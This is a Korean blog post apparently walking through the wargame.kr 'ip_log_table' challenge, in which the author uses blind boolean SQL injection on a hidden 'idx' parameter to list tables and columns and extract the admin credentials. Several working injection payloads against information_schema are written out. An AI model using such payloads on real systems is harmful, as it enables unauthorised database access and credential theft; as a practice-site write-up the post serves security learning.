webhacking/sql, sql injection

wargame.kr ip_log_table

qkqhxla1 2014. 10. 6. 17:20

들어가면 admin으로 로그인하는 창과 ip log를 보여주는 기능을 하는 창 두개가 있다.


admin으로 로그인하는 창으로 들어가서 admin-- , admin#,등으로 삽질을 해봤는데


반응이 없다. ip 로그 테이블목록을 보여주는곳에서 소스를 보면 숨겨진 폼이 있다.


<form id="f" method="post" action="chk.php">

<input type="hidden" name="idx" value="blueh4g">

</form>


이거에 뭔가 있을듯. ip 로그 목록을 클릭해보면 진짜로 아이피주소만 나오고 다른건 안나온다.


프록시로 데이터를 잡다보니 idx라는 값을 보낸다. 위의 숨겨진 폼에서 어떻게 연산을 해서 보내는것


같다. 숫자면 당연히 인젝션이 될거같으므로 바꿔서 보내봤다.


idx=0이나 idx=1255 or 1=0나 idx=1244 and 0 등으로 거짓이 되게 보내면 이런 문자열이 나온다.


1970-01-01 09:00:00 webhacking.kr 2번같다. 정상적으로 데이터를 보내면 정상적인


시간이 뜬다. 에러기반? 인젝션이라고 보고 이런식으로 하면 된다.


idx=1272 and if(( select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database() )=숫자,1,0)


코딩 돌려보면 테이블목록 : admin_table, ip_table 딱봐도 admin_table인듯.


idx=1272 and if(( select ascii(substr(group_concat(column_name),1,1)) from information_schema.columns where table_name=0x61646d696e5f7461626c65 )=32,1,0)


admin_table로 코딩 돌려보면 컬럼 목록 : idx,id,ps


idx=1272 and if(( select ascii(substr(group_concat(ps),1,1)) from admin_table )=32,1,0)


id는 그냥 admin일것같아서 안구하려다가 구해보니 그냥 admin이 아니라 blue_admin(한개)


ps도 구하면 나옵니다. 이걸로 로그인하면 클리어.

'webhacking > sql, sql injection' 카테고리의 다른 글

wargame.kr counting_query  (0) 2014.10.15
wargame.kr q&a  (0) 2014.10.06
wargame.kr web_chatting  (0) 2014.10.06
wargame.kr tmitter  (0) 2014.10.04
webhacking.kr 18번.  (0) 2014.10.03